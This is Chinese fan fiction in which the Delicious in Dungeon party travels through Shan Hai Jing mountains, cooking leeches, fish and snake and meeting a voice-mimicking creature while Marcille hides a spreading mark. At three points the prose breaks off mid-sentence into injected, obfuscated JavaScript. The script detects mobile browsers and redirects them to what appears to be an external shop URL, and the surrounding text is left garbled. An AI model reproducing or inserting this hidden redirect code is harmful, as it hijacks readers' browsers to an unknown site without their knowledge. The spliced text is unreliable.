“我把昨晚的剩汤兑点水热了一下。”森西敲了敲锅沿,“今天得找新的水源了,奇尔查克,前面的地形怎么样?” 奇尔查克搓了搓脸:“湿度变大了,顺着地势往下走,应该有河谷。不过植被看着有些阴森……玉牒上怎么说?” 玛露希尔翻开记录本,念得很快:“下一座山,猿翼山。多怪兽,多怪水。” * 不到一个时辰,队伍听到了水声。 奇尔查克蹲在水边眉头紧紧拧在了一起。 水流缓慢,河床缝隙里冒出细密的黑褐色水泡,一丝丝半透明的黏液贴着水底的石头晃悠,空气中弥漫着一股说不清是土腥还是微甜的气味。 莱欧斯凑过去,眼睛瞬间亮了,伸手就要去捞:“这是某种水生菌毯吗?还是软体魔物分泌的卵鞘?” “啪!”森西的木勺精准地敲在莱欧斯的手背上,打断了他的盲目探索。 玛露希尔已经把玉牒翻得哗哗作响:“别碰!书上写了,猿翼山的水源里有‘蛭虫’,不可直接饮用!” “蛭虫?”森西摸了摸胡子,凑近水面仔细观察那些蠕动的黑影,“没有硬壳,体表分泌黏液,生存在淡水中。应该跟迷宫里的巨型无壳蜗牛类似,如果有这种软体寄生虫,水质确实不安全。” 玛露希尔松了口气:“对吧?玉牒上说这东西本身能吃,但‘需处理得当’,具体怎么处理也没细写,我们还是换个地方找干净水吧。” “为什么要换?”森西挽起袖子,从腰间解下装盐的布袋,“只要是能吃的东西,处理起来无非就是那几招。莱欧斯,帮我把水引流,我们来抓蛭虫。” 玛露希尔倒吸一口凉气:“你真要吃这种像鼻涕虫一样的东西?!” “精灵,在野外,蛋白质和氨基酸就是生命!”森西头也不抬,“而且水里既然有寄生虫,就一定有吃它们的鱼,今天吃海陆双拼。” 奇尔查克用昨天的祝余饭团碎屑做饵很快就从浅滩的石缝里钓上来几条怪鱼。鳞片细密,背部坚硬如铁,肚皮却异常柔软。 森西拿着刀,并没有急着剖开鱼腹,而是用手指在鱼鳃后方轻轻按压。 “这鱼的内脏结构很紧凑。”森西神色严肃,“在迷宫里长成这样的鱼胆囊通常紧贴着肝脏,一旦切破,苦胆汁会瞬间渗进肉里,整条鱼就废了。” 莱欧斯蹲在一旁,像个好学的旁听生:“这里的怪鱼也是这样吗?” “生物的消化原理都是相通的。”森西刀尖一挑,精准地避开肠道,将一团墨绿色的半透明小泡连同肝脏完整地剥离出来放在石板上。” 处理完鱼,重头戏来到了蛭虫。 森西把一盆黑褐色的蠕动软体虫端到众人面前,毫不留情地撒下了一大把粗盐,开始用力揉搓。 一津津美嫌弃地捏住鼻子,耳朵背到了脑后:“呕,它吐出了好多黑水,好恶心!” “这是在逼出它们体内的水分和毒素粘液。”莱欧斯却两眼放光,“真神奇!这里的异兽和魔物在细胞结构上居然有相似的脱水反应!” 森西将搓洗干净的蛭虫丢进沸水,虫体瞬间卷曲,颜色加深。捞出后,他将其铺在烧热的石板上,小火慢慢焙干。 随着水分被烤干,原本的土腥味奇迹般地消失了。一股极致的、仿佛浓缩了十倍海鲜高汤的“鲜味”钻进所有人的鼻腔。 玛露希尔原本捂着鼻子的手慢慢放下了。她的鼻尖不受控制地耸动了两下,又迅速别开脸。 法琳已经捏起一小片干扁的虫尸,放进嘴里嚼了嚼:“脆脆的,好鲜呀!” 一津津美也试探性地尝了一片,瞳孔瞬间放大:“真的!比鱼汤还香!” 森西把炒干的蛭虫倒进研钵,捣成细粉。他捏起一小撮粉末,撒在清蒸鱼腹上,递给莱欧斯,然后又单独装了一小碟粉末,递到玛露希尔面前。 “就一点点。”森西语气平静,“试试它作为调味料的威力。” 玛露希尔犹豫了一下,内心挣扎了三秒,最终还是求知欲(食欲)占了上风。她用指尖沾了一点蛭虫粉,飞快地抿进嘴里。 轰——极致的鲜味瞬间在舌尖炸开,玛露希尔的眼睛瞬间亮得像灯泡。 “怎么样?”法琳笑着问。 “还……还可以接受,作为调料的话,勉强合格......”玛露希尔红着脸嘴硬,但当森西往她碟子里又拨了一点粉时,她并没有拒绝。 莱欧斯大口吞下撒了蛭虫粉的鱼肉,胃里那股久违的“满足感”又来了,他忍不住往自己的碗里又多撒了整整两勺粉。 就在大家大快朵颐时,森西尝了一口盐烤鱼背,脸色突然沉了下来。 “呸。”他把鱼肉吐在火堆旁,眉头拧成了一个死结。 “怎么了?”玛露希尔立刻问。 “苦。这条鱼的胆囊在取出来之前,可能受到了轻微的挤压,胆汁渗进肉里了。”森西端起旁边的水壶漱了口,“奇尔查克,别吃那块鱼背!” 奇尔查克已经嚼了两口,脸色瞬间变绿,“哇”地一口吐了出来:“好苦!” 一津津美也苦着脸:“我的舌头没有知觉了!” 森西把那整块烤鱼背拨到一边,语气是不容置疑的严厉:“苦味和麻痹感通常代表着神经毒素。内脏处理不干净的肉,宁可饿着也不能吃。” 玛露希尔立刻翻开记录本,飞快地补上一行: “【怪鱼禁忌】:胆囊极易破裂。若鱼肉发苦发麻,立刻弃食,切勿吞咽。” 莱欧斯盯着那块被丢弃在叶子上的鱼肉,满脸惋惜。 “真的不能吃了吗?”他咽了咽口水,小声嘟囔,“如果只吃一点点,只是体会一下那种舌头被麻痹的感觉,说不定能更了解这种鱼的生理构造……” “想都别想。”森西头也不回,用木勺敲了敲锅沿,“在野外,吃坏肚子可是会死人的。” 莱欧斯嘴上应着,眼睛却始终没离开过那块鱼。趁着森西转身去收拾水玉凉粉的空档,他不动声色地用脚尖把那片垫着“废弃鱼肉”的叶子,悄悄往自己脚边勾了勾。 * 吃过饭后,队伍在一块巨大的岩石背阴处休息。 法琳忽然停住脚步,盯着岩石缝隙里的一团灰褐色。那是一条比手臂稍细的怪蛇,盘成一团,一动不动。 “嘘。”法琳压低声音,拦住正要往前走的卡布尔,“别过去,有蛇。” 玛露希尔紧张地握紧法杖:“有毒吗?” “头部呈三角形,应该有毒腺。”法琳慢慢蹲下身体,目光柔和,“不过它现在应该没有攻击性,你看它的眼鳞片发白浑浊,应该正在蜕皮期。这时候的蛇看不清东西,非常缺乏安全感,只要我们不产生震动,它就不会觉得我们是威胁。” 她试着放缓呼吸,轻轻往前挪了半步:“它可能很不安,我想告诉它我们路过而已……” “法琳,别试探野生动物的底线!”森西皱眉警告。 就在这时,一津津美因为刚才舌头发麻,烦躁地甩了一下尾巴,“啪”地一声抽在了旁边的枯树枝上。 那条原本安静的怪蛇瞬间感受到地面的震动,它猛地如弹簧般射出,毒牙直逼距离最近的法琳! “砰!” 一根粗壮的木棍从侧面精准砸下,死死将蛇头按在了泥地里。森西喘着粗气,反手抽出菜刀,利落地切断了蛇的脊椎。 法琳跌坐在地上,看着身首异处的怪蛇,眼神有些难过。 “没咬到吧?”卡布尔立刻冲过来检查。 “没有。”法琳摇了摇头,小声说,“对不起,我算错安全距离了。那个声音让它以为我们是捕食者……” “法琳,”玛露希尔走过来,轻轻拍了拍她的肩膀,语气难得的严肃,“你能理解它们的状态这很好,但异兽就是野兽,它们没有人类的理智,害怕就会发起攻击,这不是交朋友的游戏。” 法琳点了点头,看着地上的蛇尸:“我知道,它不是坏,只是在为了生存自卫。”她转头看向森西,“森西,它能吃吗?” 莱欧斯立刻凑了过来:“毒腺在头部,只要切掉头,肉和皮应该没问题!而且蜕皮期的蛇,新长出的皮下面通常会有一层很丰厚的脂肪!” 森西赞许地看了莱欧斯一眼:“没错,蛇肉需要久炖,今天燃料不够,但蛇皮可以炸脆片。” 当金黄酥脆的蛇皮在油锅里发出“咔嚓”声时,法琳拿起一片放进嘴里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370617|199882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好吃吗?”莱欧斯问她。 “好吃。”法琳认真地说,“它为了保护自己攻击我,森西为了保护我杀了它,现在我们吃掉它,不浪费它的一点营养。这就是生态的循环吧。” 莱欧斯笑了:“是的,这就叫吃与被吃。” 玛露希尔叹了口气,在记录本上写下:“【怪蛇皮】:酥脆咸香。”随即提醒道:“睡前要少吃,玉碟上说这东西吃多了容易做‘缠绕梦’,就是梦见被蛇勒紧那种。” 一津津美默默把手里拿的脆片都放了回去..... * 夜深了,火堆只剩下暗红色的炭火。卡布尔抱着刀,坐在石头上守夜,米斯伦坐在离他两步远的地方,双手仍在空气中机械地做着揉面的动作。 突然,一阵急促而粗重的喘息声打破了宁静。 莱欧斯猛地从毯子里坐了起来,双手死死掐住自己的脖子,他的双眼布满红血丝,额头上全是冷汗。 “莱欧斯?!”卡布尔立刻警觉,快步走过去把水壶递给他。 莱欧斯一把抢过水壶,仰起脖子疯狂灌水。水流顺着他的下巴流进衣领,但他毫无知觉。一壶水瞬间见底,可他不仅没有解渴,反而更加暴躁地抓挠起自己的喉咙,指甲在皮肤上挠出了一道道血痕。 “渴……不对……麻了……好疼……”莱欧斯的声音沙哑得像砂纸在摩擦,喉咙里发出痛苦的嘶嘶声。 卡布尔一把攥住他还在乱抓的手腕,目光如电般扫过莱欧斯铺在身下的外套——那里有一片干枯的树叶,上面残留着一点黑褐色的粉末,以及一点可疑的鱼类油脂印记。 “你把白天森西扔掉的那块毒鱼肉吃了?!”卡布尔压低声音,语气里带着少有的严厉,“你还蘸了蛭虫粉?!” 莱欧斯痛苦地蜷缩起来,大口大口地喘着粗气。他只是想尝尝那条鱼到底是什么构造,以为多蘸点蛭虫粉的鲜味就能盖住苦味,结果当晚,神经毒素加上蛭虫嗜血干渴的副作用,以平时三倍的烈度在他体内彻底爆发了。 (这是玉牒的隐性规则:明知有毒而食之,违规,记账生效。) “别抓!”卡布尔死死锁住莱欧斯的双手,将他强行按在毯子上,同时从腰间摸出一片白天采的具有镇定作用的香草,塞进莱欧斯嘴里,“嚼碎!咽下去!熬过这阵麻痹感!” 过了足足半个时辰,那股仿佛要把内脏烧穿的冲动才像退潮一样慢慢平息。莱欧斯虚脱般地瘫倒在地上,连抬动一根手指的力气都没有了。 玛露希尔,默默翻开记录本不知道为什么补上了一行字: “【警告】:明知有毒/未处理干净仍强行食用,副作用翻倍爆发。疑似与玉牒“记账”机制有关。” 写完最后一个字,她感到手背传来一阵钻心的滚烫。 她浑身一颤,悄悄起身走到溪边,把手浸泡在冰冷的河水里。她用力搓洗着那条黑线,搓得皮肤发红破皮,但它仿佛扎根在血管里,纹丝不动。 “……”她紧紧攥着拳头,水滴从指尖滑落。隐瞒的代价原来是在她自己的身上“记账”。 身后传来极轻的脚步声。她转过头,看到卡布尔正站在不远处,手里拿着一个空水壶。他的目光极其自然地掠过她通红的手腕,又平静地移开。 “水壶空了,我来打点水。”卡布尔轻声说,“晚上风冷,早点回去睡吧。” 玛露希尔愣了一下,迅速拉下袖子遮住手腕,小声说到:“……好的。” 他没有问,但他绝对看见了,这反而让玛露希尔感到一阵更深的恐惧,她到底还能瞒多久?她为什么要瞒? * 森林深处突然传来了一声奇怪的啼鸣,听起来像是在模仿人类说话。 “……恶魔……没了……” 声音极轻,却像一根冰冷的针,刺穿了营地的宁静。 米斯伦那双一直在空气中揉面的手猛地停住了。 他僵硬地抬起头,那张始终如死水般没有任何表情的脸上,第一次出现了一丝裂缝。他的瞳孔在黑暗中微微放大。 森林深处,那个声音又响了一声,这一次更加清晰,带着某种毛骨悚然的模仿意味: “……等着……” 火堆发出“劈啪”一声爆响,火星溅起。 米斯伦没有说话,只是死死盯着声音传来的方向。他的手在宽大的袖子里不受控制地颤抖起来。 5. 鲑鱼两断与守夜对话 莱欧斯是被渴醒的。 舌根还残留着那股苦麻的余味,蛭虫粉的后劲像一根刺扎在喉咙里。他坐起来,发现天已经亮了,火堆边只有森西在收拾锅。 “喝点水。”森西把水壶递过来,“昨晚折腾得不轻。” 莱欧斯接过来猛灌了两口。 “出发吧,柢山就在前头。”玛露希尔翻开记录本,“玉牒上说,这里多鲑鱼洄游产卵。” 森西眼睛亮了一下:“鲑鱼好,油脂厚,骨头能熬汤。” 一津津美蹲在旁边,耳朵动了动:“鱼在哪?” “在河里。”森西站起来,“走,去找。” * 队伍沿着溪水继续向上游走。走了不到半个时辰,奇尔查克停下来,指着前面的河段:“看。” 水流变缓,河床铺满鹅卵石。一群灰黑色的鱼正逆流而上,鱼身时不时跃出水面,在阳光下闪出一道银光。 “鲑鱼。”森西眯着眼看了一会儿,“洄游产卵,这时候的鱼最肥。” 莱欧斯眼睛亮了:“能吃吗?” “废话。”森西已经开始挽袖子了,“奇尔查克,带人往下游堵。一津津美,你速度快,往上游赶。” 一津津美皱眉:“凭什么我赶?” “你跑得快。”森西已经下水了,“别废话。” 一津津美翻了个白眼,但还是往上游跑去了。她的速度快得惊人,踩着石头三两下就蹿出去老远。 法琳在旁边拍手:“好快!” 卡布尔看着一津津美消失的背影,若有所思。 * 鱼被赶下来了。 一津津美在上游用石头砸水,鲑鱼受惊,拼命往下游冲。奇尔查克和卡布尔用树枝扎成的简易围栏堵住去路,森西站在水里,一网兜一条,动作又快又准。 不到一刻钟,岸上堆了七八条鲑鱼,每条都有手臂那么长。 莱欧斯蹲在旁边,眼睛发亮:“这么多!” 森西拎起一条,掂了掂:“够吃两天了。” 他开始处理鱼,刀法很快。先沿脊骨切开,把整片鱼身取下来;再剥鱼皮,单独放着;鱼腹的油脂最厚,切下来收好;最后把鱼骨剁成段,留着熬汤。 “这叫两断法。”森西一边处理一边说,“鱼身烤着吃,鱼皮炸脆,鱼骨熬汤,一点不浪费。” 一津津美凑过来看,盯着那些肥厚的鱼腹肉,咽了咽口水。 森西头也没抬,切了一小块鱼腹,在热石板上煎熟,递给她:“尝尝。” 一津津美接过来,咬了一口,油脂在嘴里化开,香得她差点晕过去。 “好吃吗?”法琳凑过来。 一津津美别过脸:“还行。” 法琳笑了。 * 鱼都做上了,森西从怀里掏出一个小布袋,里面装着昨晚剩下的蛭虫粉。他捏了一点点,撒进汤里,这次他不敢让莱欧斯自己加了。 汤很快烧开,一股浓郁的鲜香飘散开,比单纯的鱼骨汤浓了不止一倍。 玛露希尔凑过来闻了闻,又想起昨天那碟蛭虫粉的味道。她低头看了一眼手背,那道纹已经爬到手腕了,比昨天又深了一点。 “玛露希尔?”法琳凑过来,“你手怎么了?” “没什么。”她把手缩进衣袖,“就是有点凉。” 法琳没多想,又跑去盯着锅了。 玛露希尔松了口气。 但她没注意到,卡布尔的目光在她手上停了一瞬。 * 天黑了。 大家围坐在火堆边,喝着鱼汤,吃着烤鱼。 莱欧斯喝了两碗汤,胃里暖暖的。那种“满足”又来了,他靠在石头上,盯着火堆发呆。 森西在整理剩下的鱼,盘算着明天的干粮。一津津美坐在他旁边,盯着那些鱼皮脆片,想拿又不好意思拿。 森西看了她一眼,把碟子推过去。 一津津美愣了一下,然后默默拿了一片。 玛露希尔坐在火堆边,低头看着自己的记录本。她刚写完“鲑鱼清汤,蛭虫粉提鲜,效果显著”,手背又热了一下。她没看,只是把本子合上。但她心里算得清清楚楚:从招摇山到现在,每次写下“未知”或“待观察”,它就长一点。不是惩罚,是……代价,求知欲的代价吗? 她想起石碑背面有一行很小的字:“隐瞒者,自偿代价。” 代价是什么?会长到哪里去?长满整条手臂之后呢? 她不知道,但她更怕的是另一件事:如果现在说出来,大家会怎么看她?莱欧斯会说“你怎么不早说”,森西会皱眉,齐尔察克会用那种“你又逞强”的眼神看她…… 可她停不下来。这些异兽、这些食材、这些从来没人记载过的东西她怎么可能不记? * 夜深了。 又是卡布尔守夜,米斯伦坐在他旁边。其他人已经睡着了,只有火堆噼啪响着。 卡布尔看着火焰,过了一会儿,轻声问:“你在想什么?” 米斯伦沉默了很久。 久到卡布尔以为他不会回答了,他才开口:“……没什么可想。” 他的声音很平,没有任何起伏,像在陈述一个事实。 卡布尔看着他。火光映在米斯伦脸上,那张脸什么表情都没有,像有什么东西被抽走了,只剩下一个壳。 卡布尔没再说话。他只是往米斯伦那边挪了挪,坐到旁边,一起看着火焰。 远处,好像有什么东西在叫,断断续续的,像人,又像兽。 米斯伦的手微微抖了一下,但他没动。 卡布尔也注意到了,看向林子深处没继续说话。 玛露希尔其实没睡。 她躺在石头上,背对着火堆,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370618|199882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛睁着。刚才卡布尔和米斯伦的对话,她全听见了。 “没什么可想......” 她想起自己手背上那道纹。她也不知道那是什么,但她知道它一直在长。 她想告诉卡布尔。她张了张嘴,想翻身坐起来,想说“我的手有问题,你帮我看看”。但她没有,她想起卡布尔刚才问米斯伦的样子,想起米斯伦回答时的表情。如果她说了,卡布尔也会那样看着她吧?那种“你又怎么了”的眼神? 她把手缩回袖子里,攥紧。 再等等......也许明天就消了...... 火堆那边,卡布尔还在守夜。他不知道玛露希尔醒着,也不知道她刚才想说什么。 但他记住了白天玛露希尔搓手背的样子,还有她脸上那一闪而过的表情。 那个人,也有事瞒着。 他没问,等她愿意说的时候,自然会说的。 * 深夜,一津津美被冻醒了。 她缩在石头上,身上盖着自己的外套,但还是冷。山里的夜比白天冷太多了,她蜷成一团,耳朵都耷拉下来。 她转头看了看四周。法琳睡得正香,抱着石头像抱娃娃。莱欧斯也睡了,眉头皱着,不知道在做什么梦。玛露希尔背对着火堆,一动不动。 奇尔查克在旁边,裹着毯子,睡得很沉。 一津津美盯着他看了三秒,然后悄悄爬起来,钻进了他的毯子里。 奇尔查克动了动,迷迷糊糊睁开眼。 “……你干嘛?” 一津津美背对着他,没说话。 奇尔查克叹了口气,把毯子往她那边挪了挪。 “……谢谢。”很小的声音。 奇尔查克愣了一下,然后闭上眼睛,继续睡。 一津津美缩在毯子里,暖和了。 她想起白天画的逃跑路线还在脑子里,一张都没少。 但她今晚也没想跑。 * 远处,那叫声又响了。 这一次,更近了。 不是“像人又像兽”,而是真的像人。断断续续的,像在说什么。 米斯伦抬起头,盯着夜色深处。 卡布尔也听见了,他握紧手边的刀,警惕地看着四周。 那声音又响了一下。 这一次,他听清了几个字: “……活着……长回来……” 米斯伦的手猛地抖了一下。 卡布尔转头看他,但米斯伦已经低下头,继续盯着火焰,脸上什么表情都没有。 但他的手,一直在抖。 那声音又响了一下,然后安静了。 火堆噼啪响着,没有人说话。 玛露希尔睁着眼睛,盯着面前的石头。她没回头,但她听到了米斯伦的呼吸声发生了变化。 她把手攥得更紧了。 6. 类的赠礼 天亮时,雾还没散,林子深处好像还有东西在叫,不像鸟也不像兽。 玛露希尔翻开记录本,对照玉牒残句念得很快:“亶爰山,多怪兽,擅拟声。”念完又补了一句,“……闻之则坠。” 莱欧斯听见“拟声”两个字,胸口先紧了一下。 森西把锅收好,抬头看天:“雾大,今天最怕的不是怪兽,是走散。把迷穀结都系好,记得一起走。” 他逐个检查:腰带、刀鞘、锅柄,甚至在莱欧斯袖口边又补系了一枚。 莱欧斯抬手摸了摸那结,叶脉粗糙,像一根不疼不痒的小刺,提醒着他别乱走。 奇尔查克不等人反应,直接抽出绳子,往每个人腰间一绕,打结,串成一条线:“别嫌丢人,先别丢命。” 一津津美撇了撇嘴:“我才不会走丢。”她嘴上这么说,尾巴却不自觉往绳子上绕了一圈,像给自己上了把锁。 卡布尔走在最前,手一直搭在刀柄上,步子不快,但每一步都踩得很实。法琳挨着一津津美,小声问:“你能听见什么?” “很多。”一津津美皱眉,“但像假的。” 队伍刚走出几十步,前面忽然传来卡布尔的声音:“这边有路,跟我来。” 人群本能要动,莱欧斯却猛地收住脚,那句话落下的同时,右侧吹来一股空冷的风,冷得让人骨头发虚。 “等等。”他嗓子发紧,“别动……那边像是悬崖。” 森西立刻抬手:“停下!抓绳,退半步。” 卡布尔也没反驳,第一反应是把队形往回压:“照做。” 话音未落,雾中突然传来一阵地面震动。脚边的石子滚了一下,几只浑身沾泥的小兽从斜坡上冲下来,眼睛发红,仿佛被什么追赶着似的正拼命逃窜。 那些小兽撞进绳线,“啪”一声,结被生生扯开。雾像趁这个空档猛地合拢,把人影往各个方向吞,雾里立刻热闹起来: “这边——”是莱欧斯的声音;“快来!”是法琳的声音;“救命!”甚至像玛露希尔自己。 声音从四面八方钻进耳朵,像无形的线一步步牵引着人们的脚步,队伍渐渐散了。 * 莱欧斯听见森西喊他:“莱欧斯,这边!”他几乎是条件反射追了两步,雾里却只有一棵歪脖子树。 第三声又响起时,他硬生生停住,把手按在腰间迷穀结上,粗糙叶脉扎进指腹把他钉回现实。 “别跟声走。”他咬牙对自己说,“跟地走。” 他蹲下去摸地面湿度与坡度:右侧地面更冷、更松,草叶贴得低;左侧泥更实,树根密。 他慢慢朝“风冷”的反方向退,至少能先离悬崖远一点。 雾里飘来一丝很淡的体味——湿毛、泥土、还有一点新鲜的血腥,像有什么东西刚从树根下擦过去。 莱欧斯的眼睛一下亮了,脚尖几乎要跟着那丝线索走。 下一秒他强迫自己停住,把迷穀结捏进掌心:先确认地势。先活着。 他不甘心地在原地蹲下,伸手摸了摸泥里的新痕,为了记住这东西的步幅、落脚、逃跑方向。 * 雾里忽然响起一个细小的声音:“爸爸——” 奇尔查克手指猛地收紧,指节发白,他闭上眼——假的,芙拉根本不在这里。 芙拉喊他不会这么急,也不会这么像求救,她会先抱怨他不让她爬高,会笑着把“爸爸”拖长,像撒娇。 奇尔查克没有走,只把背贴上石头,耳朵竖起。他摸出匕首,在石面上划了一道浅痕:这里。如果要找人,至少得有一个“不会动的点”。 * “一津津美!快来!”法琳的声音在雾里跳。 一津津美迈出一步就停住:不对。法琳从来不连名带姓地叫她,法琳要么喊“喂(#`O′)”,要么干脆扑上来抱她尾巴。 这声喊太“像指令”,不像朋友...... 她猛地转身往回跑,却发现雾里没有“回去”这条路。她抱紧自己,尾巴蜷起来,嘴硬得发抖:“……我才不怕.....” 可手心全是汗。她用爪尖在树皮上划了三道,只为告诉自己:我来过,我还在。* 卡布尔在绳断那一刻抓住了玛露希尔的手腕:“别松手。” 雾里声音越来越多,把他们围住,每一个都在说话、都在喊名字。 玛露希尔被自己的“救命”声扎得发冷,手背的纹路热得发疼。那声音像把她的喉咙从身体里剥出来,丢给雾当钩子。她差点开口回应,但是她知道只要她回答一句雾就能学得更像、更狠。 雾里突然传来一道不属于任何人的声音:“你……藏着东西。” 玛露希尔咬紧牙,抬杖。这次她没用远视,改用最粗暴的法子:消音。 淡淡的魔力膜从她杖端铺展开来,雾中的“人声”瞬间变得闷哑,仿佛隔着水被削去了一半。 卡布尔趁机低声:走,只看地,不听声。” 他不再试图分辨每一句真假,只找一个破绽:风冷那侧、草叶贴得更低那侧就是崖边。 玛露希尔点头,手却下意识缩进袖口。 * 消音术压住了周遭的声响,却压不住雾中那种“被人注视”的感觉。法琳在雾气的另一侧停下脚步,她听见有人唤她“哥哥”,可那声音太过急促,带着明显的求救意味,她立刻反应过来——这是伪装的。她没害怕反而抬起头,对雾说:“你们是谁?出来。” 雾安静了一瞬。石头上蹲着一只灰褐色的兽,像狸又像猿,圆眼睛盯着她。它没有学人的声音,只用眼睛“看”。 法琳蹲下,慢慢伸手:“你好呀。” 法琳掌心亮起一点柔和的绿光,是治愈系魔法的“安抚”本能,那兽走近,轻轻用头蹭她掌心。 兽的耳朵抖了抖,像听见了什么。它忽然开口,断断续续,像很久没用过舌头,一个字一个字往外挤: “……恶……魔……没……了?” 这句话不是对法琳说的,它的眼睛越过法琳,直直盯向雾里某处——米斯伦站在那里。 * 雾薄了一点,众人慢慢重聚。莱欧斯最后出现,衣角全是泥,像从欲望里拽回来一条命;奇尔查克手腕上绳结勒出红痕;一津津美冲过去抱住他腿不说话,尾巴却把他缠得很紧。 米斯伦从雾里走出来时,脚步很稳,却像踩在空地上。他没有看任何人,只盯着自己的手指,像确认“它们还在不在”。 类蹲在石头上,盯着米斯伦,继续说: “看……见过……像你这样的……空壳,被吃了……很多很多……什么都没剩。” 米斯伦的瞳孔猛地收缩,嘴唇微张,喉结滚动了一下。那张一直空洞的脸又一次出现了裂缝:不是愤怒,不是悲伤,是被看穿的震动。 法琳小声问:“你能看到我们心里吗?” 类点点头。 “……活着……” “……长回来……” 莱欧斯往前半步,又收回去。 他当然想追,想追着看清它到底怎么拟声、怎么判断他们、为什么偏偏盯上米斯伦。 最终只是低声说:“算了,让它走吧。” “别把它吓跑。”他补了一句,像是在对自己说,“它下次还会出现,我们能学到更多。” 类像听懂了,轻轻蹭了蹭法琳的手,像把“礼”还完,然后退进雾里。 雾随着它退了一寸,渐渐散开了。 * 走出雾区,太阳出来了,像把整个世界重新擦亮。 队伍在背风处扎营,森西开始蹲下生火。 森西把之前存下的白猿边角、狌狌筋肉从行囊里翻出来,一块块摊在石板上。筋多的归一堆,留着炖;瘦的归一堆,留着烤;油脂少的单放,他说这玩意儿做汤底最合适,不腻。 奇尔查克被他打发去找香草:“闻起来像桂,但更冲的那种。掐断会出白浆的别碰。” 奇尔查克回来时手里攥着两把,叶子背面泛着灰白绒毛,一搓,指尖就染上那种说不上来的香—带着露水和腐叶气息的辛。 玛露希尔在旁边翻本子,嘴唇动了动,想说什么。 森西头也没抬,只一句:“先别看,等做完。” 香草下锅,锅底没放油,就那么干巴巴地煸。没一会儿,一股子热气蹿上来,像是要把刚才雾里那股“冷”一点点从骨头缝里赶出去。 然后下肉,下水,小火慢炖。 炖肉咕嘟作响时,森西开始制作烤串。 他把瘦肉切成长条,每一根都顺着纹理走,这样烤出来才不柴。串上签子,外层裹一片桂叶。叶子贴着肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……长回来……” 他不知道自己是不是在“长回来”。他只知道,刚才有那么一瞬间,胸口最深处有什么东西动了一下。 卡布尔坐在旁边,眼神没离开过他。那不是审视,是守着一台终于开始发热的机器,怕它下一秒又熄火。 * 夜里,营火噼啪。 玛露希尔摊开记录本,想完善关于亶爰山的记录。笔尖刚落,手背那条纹忽然一热。更要命的是,她的手动不了。 握笔的那只手,像被什么攥住,一笔一划在纸上写: “ 我手上有条黑线,从第一天就有。 它还在长。 我不敢说。 ” 玛露希尔瞳孔骤缩,另一只手死死按住本子,想把它合上,可那只手根本不听使唤,继续往下写: “ 我害怕。 怕他们觉得我麻烦。 怕他们让我别再记了。 ” 最后一个“了”字写完,那只手才突然脱力,笔从指间滑落,在纸上拖出一道歪斜的墨痕。 玛露希尔大口喘气,指尖发冷。她低头看着那几行字,那是她的字迹,但不是她写的。像有另一个人藏在她身体里,趁她不注意,替她说了真话。 她立刻把那一页撕下来,团成团,攥在手心里。 火堆旁,法琳翻了个身,呼吸均匀;米斯伦在守夜,衣料摩擦的轻响从远处传来;莱欧斯在睡梦里吞咽......玛露希尔听着这些声音,低头看自己的手。那只手安静地摊在膝盖上,和往常一样。 但她知道,它不会再像往常一样了。 她把纸团塞进怀里最深处,把本子合上,把袖子往下拽了拽,盖住那道还在隐隐发烫的纹路。 火堆又噼啪响了一声。 她张了张嘴。 只需要喊一声,随便喊谁,让他们看看她的手,看看那张纸团。 可话到嘴边,又被什么堵回去了。 再等等,也许明天就消了,也许只是自己太多心,也许—— 她没往下想。 只是把那口气咽回去,把本子往怀里收了收。 可她知道。 账不会等她。 下一次,那只手会写出什么,她自己都不知道。